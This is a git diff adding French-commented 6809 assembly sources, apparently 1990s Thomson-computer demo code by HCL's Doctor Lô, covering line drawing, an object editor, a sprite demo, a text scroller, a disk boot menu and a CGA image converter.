+ LDB <Z+5
+ MUL
+ LEAX D,X
+ LDB <Z+4
+ LSRB
+ LSRB
+ LSRB
+ ABX
+ LDB <Z+4
+ ANDB #7
+ LDA B,Y
+ STA <Z
+ INC <Z+1
+ CLRB
+
+LINE2 LDA ,X
+ ORA <Z
+ STA ,X
+ LEAX 40,X
+ DEC <Z+1
+ BNE *+3
+ RTS
+VIRG1 ADDB #0
+ BCC LINE2
+ LSR <Z
+ BNE LINE2
+ ROR <Z
+ LEAX 1,X
+ BRA LINE2
+
+MONTEE LDD <Z+6
+ SUBA <Z+4 A = (dx)
+ STA <Z+1
+ LDB <Z+5
+ SUBB <Z+7 B = (dy)
+ CMPB <Z+1
+ LBHI VERTI2 quand (dy) > (dx)
+
+ TFR B,A
+ CLRB (dy) / (dx) = 0.?
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #128
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #64
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #32
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #16
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #8
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #4
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #2
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #1
+ STB MMSEG2+1
+
+ LDX #ECRAN
+ LDA #40
+ LDB <Z+5
+ MUL
+ LEAX D,X
+ LDB <Z+4
+ LSRB
+ LSRB
+ LSRB
+ ABX
+ LDB <Z+4
+ ANDB #7
+ LDA B,Y
+ STA <Z
+ INC <Z+1
+ CLRB
+
+ LDA ,X
+LINE3 ORA <Z
+ DEC <Z+1
+ BNE *+5
+ STA ,X
+ RTS
+ LSR <Z
+ BNE MMSEG2
+ ROR <Z
+ STA ,X+
+ LDA ,X
+MMSEG2 ADDB #0
+ BCC LINE3
+ STA ,X
+ LEAX -40,X
+ BRA LINE3-2
+
+VERTI2 STB <Z+1
+ CLRB (dx) / (dy) = 0.?
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #128
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #64
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #32
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #16
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #8
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #4
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #2
+ ASLA
+ BCS *+6
+ CMPA <Z+1
+ BLO *+6
+ SUBA <Z+1
+ ORB #1
+ STB VIRG2+1
+
+ LDX #ECRAN
+ LDA #40
+ LDB <Z+5
+ MUL
+ LEAX D,X
+ LDB <Z+4
+ LSRB
+ LSRB
+ LSRB
+ ABX
+ LDB <Z+4
+ ANDB #7
+ LDA B,Y
+ STA <Z
+ INC <Z+1
+ CLRB
+
+LINE4 LDA ,X
+ ORA <Z
+ STA ,X
+ LEAX -40,X
+ DEC <Z+1
+ BNE *+3
+ RTS
+VIRG2 ADDB #0
+ BCC LINE4
+ LSR <Z
+ BNE LINE4
+ ROR <Z
+ LEAX 1,X
+ BRA LINE4
+
+ FDB $8040,$2010,$0804,$0201
+VIDE FDB 0,0,0,0
+
+DEFOBJ STU <Z+29
+ LDX 12,U couleur de l'objet
+ LEAY ,X
+ LDA #15
+ JSR $EC00
+ LDX #CENTRE
+ LDA 14,U
+ BMI *+5
+ LDX #CENTRE+512
+ STX <Z+27 type déplacement
+ LEAX 512,X
+ STX VITCEN+3 et
+ ANDA #127
+ STA VITCEN+1 vitesse du centre
+ LEAU 15,U
+ PULU D,X,Y
+ STD <Z+8 angle A
+ STX <Z+10 angle B
+ STY <Z+12 angle C
+ PULU D,X,Y
+ STD <Z+20 vit-A
+ STX <Z+22 vit-B
+ STY <Z+24 vit-C
+ LDA ,U+
+ STA <Z+26 nombre de segments
+ PULU X
+ STX <Z+38 attente objet
+ STU <Z+18
+NEWSCR BSR VIDECR
+ LDA $E7E5
+ EORA #1
+ STA $E7E5
+ BSR VIDECR
+ LDA $E7E5
+ EORA #1
+ STA $E7E5
+ RTS
+
+VIDECR STS EDITOR-3
+ LDA #HAUT/12-1
+ STA <Z
+ LDU #VIDE
+ PULU D,X,Y,S
+ LDU #ECRAN+(HAUT+28)*40
+KILALL FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ DEC <Z
+ BNE KILALL
+ FCC /6v6v6v6v6v6v6v6v6v6v/
+ LDS #0
+ RTS
+
+EDITOR LDA #$C0
+ STA $E7DD
+ LDX #$2000 couleur Editeur
+ LDA ,X+
+ ANDA #120
+ CMPA #56
+ BNE *+10
+ LDA $9FFF,X forme Démo
+ STA $DFFF,X forme Editeur
+ CMPX #$3DD8
+ BNE EDITOR+8
+ LDA #10
+ STA <Z+6
+ LDX #$274 angles
+ LDU <Z+12
+ LEAU -SINUS,U
+ LDA #3
+ JSR WRITE
+ LDX #$38C
+ LDU <Z+10
+ LEAU -SINUS,U
+ LDA #3
+ JSR WRITE
+ LDX #$4A4
+ LDU <Z+8
+ LEAU -SINUS,U
+ LDA #3
+ JSR WRITE
+ LDX #$18F3 attentes
+ LDU <Z+32
+ LDA #3
+ JSR WRITE
+ LDX #$1A0B
+ LDU <Z+38
+ LDA #4
+ JSR WRITE
+ LDX #$1636 vitesse centre
+ LDB VITCEN+1
+ CLRA
+ TFR D,U
+ LDA #1
+ JSR WRITE
+ INC <Z+6
+ LDX #$25B nombre de segments
+ LDB <Z+26
+ CLRA
+ TFR D,U
+ LDA #2
+ JSR WRITE
+ LDU <Z+18
+ LDB -3,U
+ STB LINKS+5
+ LDB #14
+ STB <Z+6
+ LDX #$7E8 vitesses rotation
+ LDU <Z+24
+ LDA #3
+ JSR WRITE
+ LDX #$900
+ LDU <Z+22
+ LDA #3
+ JSR WRITE
+ LDX #$A18
+ LDU <Z+20
+ LDA #3
+ JSR WRITE
+ LDX #$151F type dplcmt centre
+ LDY #CENTR2-19
+ CLR LINKS+125
+ LDU VITCEN+3
+ CMPU #CENTRE+512
+ BEQ *+7
+ INC LINKS+125
+ LEAY 10,Y
+ LDB ,Y+
+ BMI *+7
+ JSR PUTC
+ BRA *-7
+ LDX #$48B objet courant
+ LDY <Z+29
+ LDB ,Y+
+ JSR PUTC
+ CMPX #$493
+ BNE *-8
+ LDX #$675 liste objets
+ LDY #LINKS+40
+ LDU ,Y
+ STS ZEBEST+2
+ LDA #6
+ STA <Z+1
+ STU ,Y
+ LDA #8
+ STA <Z
+NOMOBJ LDB ,U+
+ LDS #FONTES
+ LDA #5
+ MUL
+ LEAS D,S
+ PULS D
+ STA -80,X
+ STB -40,X
+ PULS D
+ STA ,X+
+ STB 39,X
+ LDA ,S
+ STA 79,X
+ DEC <Z
+ BNE NOMOBJ
+ LEAX 272,X
+ LEAY 12,Y
+ LDU 2,U
+ DEC <Z+1
+ BNE NOMOBJ-6
+ZEBEST LDS #0
+ LDA #15
+ LDX #-1
+ LEAY 1,X
+ JSR $EC00
+ STX <Z
+ LDX #$37B palette
+ LDB <Z
+ ANDB #15
+ ADDB #12
+ JSR PUTC
+ LDB <Z+1
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ ADDB #12
+ JSR PUTC
+ LDB <Z+1
+ ANDB #15
+ ADDB #12
+ JSR PUTC
+ CLR $E7DD
+ LDB #0
+ STB <Z+14
+ LDA <Z+14
+ARROWS LDY #LINKS
+ STA <Z+14
+ LDB #12
+ MUL
+ LEAY D,Y
+ LDX ,Y
+ LDA 2,Y
+ STA <Z+6
+ BSR INVERS
+ LDA <Z+6
+CLAV JSR $E806
+ CMPB #13
+ BNE NOEXIT
+ BSR INVERS
+ LDA 3,Y
+ BEQ NOEXIT-3
+ LDX ,Y
+ LDU 4,Y
+ JSR READ
+ JMP [6,Y]
+NOEXIT CMPB #2
+ BNE *+15
+ LDB <Z+14
+ STB ARROWS-5
+ BSR INVERS
+ JSR NEWSCR
+ JMP BIGBCL
+ SUBB #8
+ CMPB #3
+ BHI CLAV
+ BSR INVERS
+ TSTB
+ BNE *+6
+ LDA 11,Y
+ BRA ARROWS
+ CMPB #1
+ BNE *+6
+ LDA 9,Y
+ BRA ARROWS
+ CMPB #2
+ BNE *+6
+ LDA 10,Y
+ BRA ARROWS
+ LDA 8,Y
+ BRA ARROWS
+
+INVERS PSHS X
+ TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+ COM -120,X
+ COM -80,X
+ COM -40,X
+ COM ,X+
+ COM 39,X
+ COM 79,X
+ COM 119,X
+ DECA
+ BNE INVERS+12
+ PULS X,PC
+
+COLOUR LDX #$37E
+ LDA #3
+ LEAX -1,X
+ CLRB
+ STB -80,X
+ STB -40,X
+ STB ,X
+ STB 40,X
+ LDB #127
+ STB 80,X
+ DECA
+ BNE COLOUR+5
+ LDY #DIR*256+Z
+GETKEY JSR $E806
+ SUBB #48
+ CMPB #10
+ BLO *+12
+ SUBB #7
+ CMPB #10
+ BLO GETKEY
+ CMPB #15
+ BHI GETKEY
+ STB ,Y+
+ ADDB #12
+ JSR PUTC
+ CMPY #DIR*256+Z+3
+ BNE GETKEY
+ LDB <Z+1
+ ASLB
+ ASLB
+ ASLB
+ ASLB
+ ADDB <Z+2
+ LDA <Z
+ TFR D,X
+ LEAY ,X
+ LDA #15
+ JSR $EC00
+ JMP ARROWS-2
+NOBJ LDU 4,Y
+ JSR DEFOBJ
+ JMP BIGBCL
+SCROLL LDX #$675
+ LDY #LINKS+3*12+4
+ STS ARETES-5
+ LDA <Z+14
+ LDS ,Y premier actuel
+ LDU 8,S précédent
+ CMPA #9
+ BNE *+4
+ LDU 10,S suivant
+ LDA #6
+ STA <Z+1
+ TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+ STU ,Y
+ LDA #8
+ STA <Z
+AFNAME LDB ,U+
+ LDS #FONTES
+ LDA #5
+ MUL
+ LEAS D,S
+ PULS D
+ STA -80,X
+ STB -40,X
+ PULS D
+ STA ,X+
+ STB 39,X
+ LDA ,S
+ STA 79,X
+ DEC <Z
+ BNE AFNAME
+ LEAX 272,X
+ LEAY 12,Y
+ LDU 2,U
+ DEC <Z+1
+ BNE AFNAME-6
+ LDS #0
+ JMP ARROWS-2
+ARETES STB <Z+26
+ JMP ARROWS-2
+WAITS TFR D,U
+ LDA <Z+14
+ CMPA #19
+ BNE *+7
+ STU <Z+38
+ JMP ARROWS
+ LDX <Z+32
+ BEQ *+4
+ STU <Z+32
+ STU WAITXT+1
+ JMP ARROWS
+CENTR1 INC 5,Y
+ LDA 5,Y
+ LDY #CENTR2-19
+ LDU #CENTRE
+ LEAX 1,X
+ BITA #1
+ BEQ *+7
+ LEAY 10,Y
+ LDU #CENTRE+512
+ STU <Z+27
+ LEAU 512,U
+ STU VITCEN+3
+ TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+ LDB ,Y+
+ BMI *+7
+ JSR PUTC
+ BRA *-7
+ JMP ARROWS-2
+ FCB 37,30,35,28,0,37,36,35,28
+ FCB $F7 pingpong/sinusoïde
+ FCB 40,30,35,42,40,36,30,25,26
+CENTR2 STB VITCEN+1
+ JMP ARROWS-2
+ANGLES LDU #SINUS
+ LEAU D,U
+ LDB <Z+14
+ ASLB
+ NEGB
+ SUBB #220
+ LDX #DIR*256+Z
+ ABX
+ STU ,X
+ JMP ARROWS-2
+SPEEDS TFR D,U
+ LDB <Z+14
+ ASLB
+ NEGB
+ SUBB #202
+ LDX #DIR*256+Z
+ ABX
+ STU ,X
+ JMP ARROWS-2
+
+PUTC LDU #FONTES
+ LDA #5
+ MUL
+ LEAU D,U
+ PULU D
+ STA -80,X
+ STB -40,X
+ PULU D
+ STA ,X+
+ STB 39,X
+ LDA ,U
+ STA 79,X
+ RTS
+
+READ PSHS X,Y
+ STA <Z+7
+ STU <Z
+ LDB <Z+6
+ ABX
+EFF LEAX -1,X
+ CLRB
+ STB -80,X
+ STB -40,X
+ STB ,X
+ STB 40,X
+ LDB #127
+ STB 80,X
+ DECA
+ BNE EFF
+
+ CLR <Z+2
+ CLR <Z+3
+ CLR <Z+4
+ LDY #DIR*256+Z
+ LDA #6
+ SUBA <Z+7
+ LEAY A,Y
+INKEY JSR $E806
+ SUBB #48
+ CMPB #9
+ BHI INKEY
+ STB ,Y+
+ ADDB #12
+ JSR PUTC
+ CMPY #DIR*256+Z+6
+ BNE INKEY
+
+ LDA <Z+2
+ LDB #10
+ MUL
+ ADDB <Z+3
+ LDA #100
+ MUL
+ STD <Z+2
+ LDA <Z+4
+ LDB #10
+ MUL
+ ADDB <Z+5
+ ADDD <Z+2
+ STD <Z+2
+
+ LDD <Z
+ BITA #128
+ BEQ *+10
+ ANDA #127 si nul -> égal à 1
+ LDX <Z+2
+ BNE *+4
+ INC <Z+3
+ CMPD <Z+2
+ BHI *+4
+ STD <Z+2
+ PULS X,Y
+ LDU <Z+2
+ LDA <Z+7
+
+WRITE PSHS X,Y
+ STU <Z
+ CLR <Z+2
+ CLR <Z+3
+ CLR <Z+4
+ STA <Z+7
+ TFR U,D
+MIL CMPD #1000
+ BLO CENT
+ SUBD #1000
+ INC <Z+2
+ BRA MIL
+CENT CMPD #100
+ BLO DIX
+ SUBD #100
+ INC <Z+3
+ BRA CENT
+DIX CMPB #10
+ BLO *+8
+ SUBB #10
+ INC <Z+4
+ BRA DIX
+ STB <Z+5
+
+ LDB <Z+6
+ SUBB <Z+7
+ ABX
+ LDY #DIR*256+Z
+ LDA #6
+ SUBA <Z+7
+ LEAY A,Y
+ LDB ,Y
+ BNE ECHO
+ CMPY #DIR*256+Z+5
+ BEQ ECHO
+ JSR PUTC
+ LEAY 1,Y
+ BRA *-15
+ECHO LDB ,Y+
+ ADDB #12
+ JSR PUTC
+ CMPY #DIR*256+Z+6
+ BNE *-11
+ LDD <Z
+ PULS PC,X,Y
+
+ FDB 0,256,512,768,$400,$500
+ FDB $600,273,546,819,239,207
+ FDB 175,143,111,4095
+ FDB 0,15,240,255,3840
+ FDB 3855,4080,4095,1911,826
+ FDB 931,938,2611,2618,3815,123
+MAP
+ END
diff --git a/code/3rdparty/sources2-hcl/BALLS.ASM b/code/3rdparty/sources2-hcl/BALLS.ASM
new file mode 100644
index 0000000..2151446
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/BALLS.ASM
@@ -0,0 +1,294 @@
+****************************************
+* UNLIMITED BOBS DEMO *
+****************************************
+* *
+* Laurent HIRIART *
+* Les Enversgouttes *
+* 67420 COLROY-LA-ROCHE *
+* *
+****************************************
+
+
+COS EQU $0000
+SIN EQU $0800
+SPRITE EQU $1000
+ZZ EQU $15A0
+CODE EQU $D600
+PILE EQU $4000
+
+SCREEN EQU $A000
+CARTCH EQU 15
+QUAD EQU 512
+DIR EQU ZZ/256
+Z EQU ZZ-DIR*256
+
+
+ ORG CODE
+G ORCC #80
+ LDD #32
+ STA $E7DB
+ STA $E7DA
+ DECB
+ BNE *-4
+ LDB $E7E6
+ PSHS B,DP
+ STS RDP+2
+ LDX #$6000
+ LDU #$A000
+GMONP0 LDD ,X++
+ STD ,U++
+ CMPX #$8000
+ BNE GMONP0
+ LDD #$6000+256*CARTCH+DIR
+ TFR B,DP
+ STA $E7E6
+ LDD #$21C0
+ STD $E7DC
+ JMP >*+3-$C000
+
+* Début Espace Cartouche
+
+ LDS #PILE
+ LDA #3
+ STA $E7E5
+ LBSR CLRSCR
+ DECA
+ BGE *-7
+ LDX #COS
+ LDU #ZZ
+ STX ,U++
+ STX ,U++
+ LDX #SIN
+ STX ,U++
+ STX ,U++
+ LDA #255
+ LDX #COLORS-$C000+32
+ JSR $EC00
+
+GOON LDD #$0C0
+ STA $E7E5
+ STB $E7DD
+ BSR SYNCRO
+ LDD #$100
+ STA $E7E5
+ STB $E7DD
+ BSR SYNCRO
+ LDD #$240
+ STA $E7E5
+ STB $E7DD
+ BSR SYNCRO
+ LDD #$380
+ STA $E7E5
+ STB $E7DD
+ BSR SYNCRO
+ TST $E7C8
+ BEQ GOON
+
+ LDA #CARTCH
+ STA $E7E5
+ JMP *+3
+
+* Fin Espace Cartouche
+
+ LDX #$6000
+ LDU #$A000
+PMONP0 LDD ,U++
+ STD ,X++
+ CMPX #$8000
+ BNE PMONP0
+
+RDP LDS #0
+ PULS DP,B
+ STB $E7E6
+ LDD #0
+ STD $E7DC
+ DECA
+ LDX #COLORS
+ JSR $EC00
+ SWI
+
+SYNCRO TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+ LDB [ZZ+4]
+ ADDB [ZZ+6]
+ ADDB #100 Y centre écran
+ LDA #40
+ MUL
+ LDX #SCREEN-200
+ LEAX D,X
+
+ LDB [ZZ]
+ SEX
+ STD <Z+8
+ LDB [ZZ+2]
+ SEX
+ ADDD <Z+8
+ ADDD #152 X centre écran
+ STB <Z+8
+ LSRA
+ RORB
+ LSRB
+ LSRB
+ ABX
+ LDA <Z+8
+ ANDA #7
+ LDB #180
+ MUL
+ LDU #SPRITE+15
+ LEAU D,U
+ LDA #3
+ STA <Z+8
+
+RAMA LDD -80,X affichage d'1 ball
+ ORA -15,U
+ ANDA -12,U
+ ORB -14,U
+ ANDB -11,U
+ STD -80,X
+ LDA -78,X
+ ORA -13,U
+ ANDA -10,U
+ STA -78,X
+ LDD -40,X
+ ORA -9,U
+ ANDA -6,U
+ ORB -8,U
+ ANDB -5,U
+ STD -40,X
+ LDA -38,X
+ ORA -7,U
+ ANDA -4,U
+ STA -38,X
+ LDD ,X
+ ORA -3,U
+ ANDA ,U
+ ORB -2,U
+ ANDB 1,U
+ STD ,X
+ LDA 2,X
+ ORA -1,U
+ ANDA 2,U
+ STA 2,X
+ LDD 40,X
+ ORA 3,U
+ ANDA 6,U
+ ORB 4,U
+ ANDB 7,U
+ STD 40,X
+ LDA 42,X
+ ORA 5,U
+ ANDA 8,U
+ STA 42,X
+ LDD 80,X
+ ORA 9,U
+ ANDA 12,U
+ ORB 10,U
+ ANDB 13,U
+ STD 80,X
+ LDA 82,X
+ ORA 11,U
+ ANDA 14,U
+ STA 82,X
+ LEAX 200,X
+ LEAU 30,U
+ DEC <Z+8
+ BNE RAMA
+ LEAX $2000-600,X
+ LDA #3
+ STA <Z+8
+RAMB LDD -80,X
+ ORA -15,U
+ ANDA -12,U
+ ORB -14,U
+ ANDB -11,U
+ STD -80,X
+ LDA -78,X
+ ORA -13,U
+ ANDA -10,U
+ STA -78,X
+ LDD -40,X
+ ORA -9,U
+ ANDA -6,U
+ ORB -8,U
+ ANDB -5,U
+ STD -40,X
+ LDA -38,X
+ ORA -7,U
+ ANDA -4,U
+ STA -38,X
+ LDD ,X
+ ORA -3,U
+ ANDA ,U
+ ORB -2,U
+ ANDB 1,U
+ STD ,X
+ LDA 2,X
+ ORA -1,U
+ ANDA 2,U
+ STA 2,X
+ LDD 40,X
+ ORA 3,U
+ ANDA 6,U
+ ORB 4,U
+ ANDB 7,U
+ STD 40,X
+ LDA 42,X
+ ORA 5,U
+ ANDA 8,U
+ STA 42,X
+ LDD 80,X
+ ORA 9,U
+ ANDA 12,U
+ ORB 10,U
+ ANDB 13,U
+ STD 80,X
+ LDA 82,X
+ ORA 11,U
+ ANDA 14,U
+ STA 82,X
+ LEAX 200,X
+ LEAU 30,U
+ DEC <Z+8
+ BNE RAMB
+
+NEXT LDX <Z
+ LEAX 17,X
+ CMPX #COS+4*QUAD
+ BLO *+6
+ LEAX -4*QUAD,X
+ STX <Z
+ LDX <Z+2
+ LEAX 16,X
+ CMPX #COS+4*QUAD
+ BLO *+6
+ LEAX -4*QUAD,X
+ STX <Z+2
+ LDX <Z+4
+ LEAX 17,X
+ CMPX #SIN+4*QUAD
+ BLO *+6
+ LEAX -4*QUAD,X
+ STX <Z+4
+ LDX <Z+6
+ LEAX 16,X
+ CMPX #SIN+4*QUAD
+ BLO *+6
+ LEAX -4*QUAD,X
+ STX <Z+6
+ RTS
+
+CLRSCR LDX #$A000
+ LDU #0
+ STU ,X++
+ CMPX #$E000
+ BNE *-5
+ RTS
+
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+ FDB 0,$660,$FF0,$330
+
+ END
diff --git a/code/3rdparty/sources2-hcl/BIGFRIME.ASM b/code/3rdparty/sources2-hcl/BIGFRIME.ASM
new file mode 100644
index 0000000..4d85d39
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/BIGFRIME.ASM
@@ -0,0 +1,170 @@
+****************************************
+* scrolling segment par segment. *
+****************************************
+* EN MODE BITMAP 16 COULEURS *
+****************************************
+* This masterpiece was of course coded *
+* BY DOCTOR LO OF HCL *
+****** un soir d'ennui profond... ******
+
+FONTE EQU -HAUT*LONG*2
+RAMA EQU $DF18-HAUT*40
+RAMB EQU RAMA-$2000
+HAUT EQU 48 multiple de 8 !
+LONG EQU 5 segments par CHR$
+DIR EQU $9F } début buffer
+Z EQU 0 } à accès direct
+CARTOU EQU 15 page $0000-$3FFF
+
+ ORG DIR*256+Z
+ FDB 1,TEXTE,FONTE
+
+ ORG $9800
+G ORCC #80
+ LDA #$E7
+ EXG A,DP
+ LDB <$E6
+ STA RDP+1
+ STB RDP+2
+ STS RDP-2
+
+ LDA #123
+ STA <$DC
+ LDD #$360+CARTOU
+ STD <$E5
+ LDD #0
+ LDX #$A000
+ STD ,X++
+ CMPX #$E000
+ BNE *-5
+ LDD #$C000+DIR
+ STA <$DD
+ TFR B,DP
+
+
+SYNCRO TST $E7E7
+ BPL *-3
+ TST $E7E7
+ BMI *-3
+
+ LDD #15
+ STA $E7DB pour voir le temps
+ STB $E7DA CPU qu'il reste.
+ STA $E7DA
+
+ LDX #RAMA+160
+ LDU <Z+4
+ LDA #HAUT/8
+ STA <Z
+COPYA PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU D
+ STA 120,X
+ STB 160,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYA
+ PULU D
+ STU <Z+4
+
+ LDA #HAUT
+ STA <Z
+ LDU #RAMA+1
+SCROLA PULU D,X,Y,S
+ LEAU -1,U
+ PSHU S,Y,X,D
+ LEAU 9,U
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ DEC <Z
+ BNE SCROLA
+ CLR RAMA+HAUT*40
+
+ LDX #RAMB+160
+ LDU <Z+4
+ LDA #HAUT/8
+ STA <Z
+COPYB PULU D
+ STA -120,X
+ STB -80,X
+ PULU D
+ STA -40,X
+ STB ,X
+ PULU D
+ STA 40,X
+ STB 80,X
+ PULU D
+ STA 120,X
+ STB 160,X
+ LEAX 280,X
+ DEC <Z
+ BNE COPYB
+ STU <Z+4
+
+ LDA #HAUT
+ STA <Z
+ LDU #RAMB+1
+SCROLB PULU D,X,Y,S
+ LEAU -1,U
+ PSHU S,Y,X,D
+ LEAU 9,U
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ FDB $3776,$335F,$3676,$3349
+ DEC <Z
+ BNE SCROLB
+ CLR RAMB+HAUT*40
+
+ LDD #0
+ STA $E7DB pour voir le temps
+ STB $E7DA CPU qu'il reste.
+ STA $E7DA
+
+ TST $E7C8
+ BNE RDP-4
+ DEC <Z+1
+ LBNE SYNCRO
+
+ LDA #LONG
+ STA <Z+1
+ LDX <Z+2 lettre suivante
+ LDA ,X+
+ BNE *+7
+ LDA #38
+ LDX #TEXTE
+ LDU #FONTE
+ LDB #HAUT*LONG
+ ASLA
+ MUL
+ LEAU D,U
+ STU <Z+4
+ STX <Z+2
+ JMP SYNCRO
+
+ LDS #0
+RDP LDD #0
+ TFR A,DP
+ STB $E7E6
+ CLR $E7DD
+ CLR $E7DC
+ LDA #255
+ LDX #COLORS
+ JSR $EC00
+ SWI
+
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+TEXTE
+
+ END
diff --git a/code/3rdparty/sources2-hcl/BOOTMENU.ASM b/code/3rdparty/sources2-hcl/BOOTMENU.ASM
new file mode 100644
index 0000000..1a4716c
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/BOOTMENU.ASM
@@ -0,0 +1,97 @@
+****************************************
+* BOOT / Menu v2.0 *
+****************************************
+
+ ORG $6200
+
+ ORCC #80 stop interruptions
+ LDS #$60CC init. pile système
+ CLR >$60D1 application = none
+ LDX #$6300 charge le menu
+ LDY #$0002
+ LDD #$0100 (secteur 00.02)
+ BSR DISK
+ BRA RSTART
+ FCC "HCL Boot"
+RSTART LDU #$6300
+PRINT LDB ,U+ et l'affiche
+ JSR $E803
+ BNE PRINT
+
+GETKEY JSR $E806
+ CMPB #'0 première option
+ BLO GETKEY
+ LBEQ NOBOOT retour au BASIC
+ CMPB $62FF dernière option
+ BHI GETKEY
+ LDX #$6280-8*'1
+ LDA #8
+ MUL
+ LEAX D,X
+ LDY ,X++ Piste - Secteur
+ LDD ,X++ Nb secteurs - Face
+ LDU ,X++ Adresse exécution
+ LDX ,X Adresse de début
+ STU LEAVE+1
+ BSR DISK chargement ...
+LEAVE JSR >0000 ... et exécution
+ BRA RSTART
+
+DISK LDU #$6048
+ STB 1,U face : B
+ LDB #2
+ STB ,U
+ STY 3,U piste.secteur : Y
+ STX 7,U buffer : X
+ LDB 4,U secteur -> B
+CHARGE JSR $E004
+ CMPB #16 fin piste ?
+ BNE NXTSEC
+ INC 3,U
+ CLRB
+NXTSEC INCB
+ STB 4,U
+ INC 7,U
+ DECA
+ BNE CHARGE
+ RTS
+
+****************************************
+* Valeur-test: "BASIC2.." complémenté: *
+****************************************
+
+ FDB $BEBF,$ADB7,$BDCE,$0000
+
+****************************************
+* Définition d'un programme (8 octets) *
+* *
+* Piste - Secteur *
+* Nombre de secteurs - Face *
+* Adresse d'exécution *
+* Adresse de début *
+****************************************
+
+ FDB $0001,$2301,$93F7,$7200
+ FDB $0204,$0101,$6442,$6400
+ FDB $0605,$0701,$9000,$9000
+ FDB $060C,$0101,$6300,$6300
+ FDB 0,0,0,0,0,0,0,0
+ FDB 0,0,0,0,0,0,0,0
+ FDB 0,0,0,0,0,0,0,0
+ FDB 0,0,0,0,0,0,0,0
+
+ ORG $62E0
+NOBOOT CLR >0
+ JSR $2B42
+ LDS #$9FFF
+ CLR >1
+ JSR $193
+ COM <$31
+ STS $6C43
+ CLR >0
+ JSR $2D00
+ JMP $2B74
+
+ FCB '4 dernière option
+
+ END
diff --git a/code/3rdparty/sources2-hcl/CGA2MAP4.ASM b/code/3rdparty/sources2-hcl/CGA2MAP4.ASM
new file mode 100644
index 0000000..bd65ffa
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/CGA2MAP4.ASM
@@ -0,0 +1,128 @@
+****************************************
+*Conversion d'une image CGA en BITMAP-4*
+****************************************
+********* (c) Doctor Lô 1991 ***********
+
+
+BANK EQU 15 où est l'image CGA
+DIR EQU $9E accès direct au
+Z EQU $FD buffer "variables"
+
+ ORG $9E00
+G ORCC #80
+ PSHS DP
+ LDA #DIR
+ TFR A,DP
+ LDA #33 mode BITMAP4 plans
+ STA $E7DC
+
+ LDU #$A000 source CGA
+ LDX #$A000 } destination TO
+ LDY #$C000 }
+
+
+ LDA #40 une ligne = 40 o.
+ STA <Z+2 (sur chaque plan)
+LIGNE CLR <Z }
+ CLR <Z+1 } pour les calculs
+
+ LDD #$8080
+ BITA ,U premier octet CGA
+ BEQ *+6 =4 bits forts du
+ ORB <Z+1 premier octet de
+ STB <Z+1 chaque bitplan TO.
+ LDD #$4080
+ BITA ,U
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$2040
+ BITA ,U
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$1040
+ BITA ,U
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$0820
+ BITA ,U
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$0420
+ BITA ,U
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$0210
+ BITA ,U
+ BEQ *+6
+ ORB <Z+1
+ STB <Z+1
+ LDD #$0110
+ BITA ,U+
+ BEQ *+6
+ ORB <Z
+ STB <Z
+
+ LDD #$8008
+ BITA ,U deuxième octet CGA
+ BEQ *+6 =4 bits faibles du
+ ORB <Z+1 premier octet de
+ STB <Z+1 chaque bitplan TO.
+ LDD #$4008
+ BITA ,U
+ BEQ *+6
+ ORB <Z
+ STB <Z
+ LDD #$2004
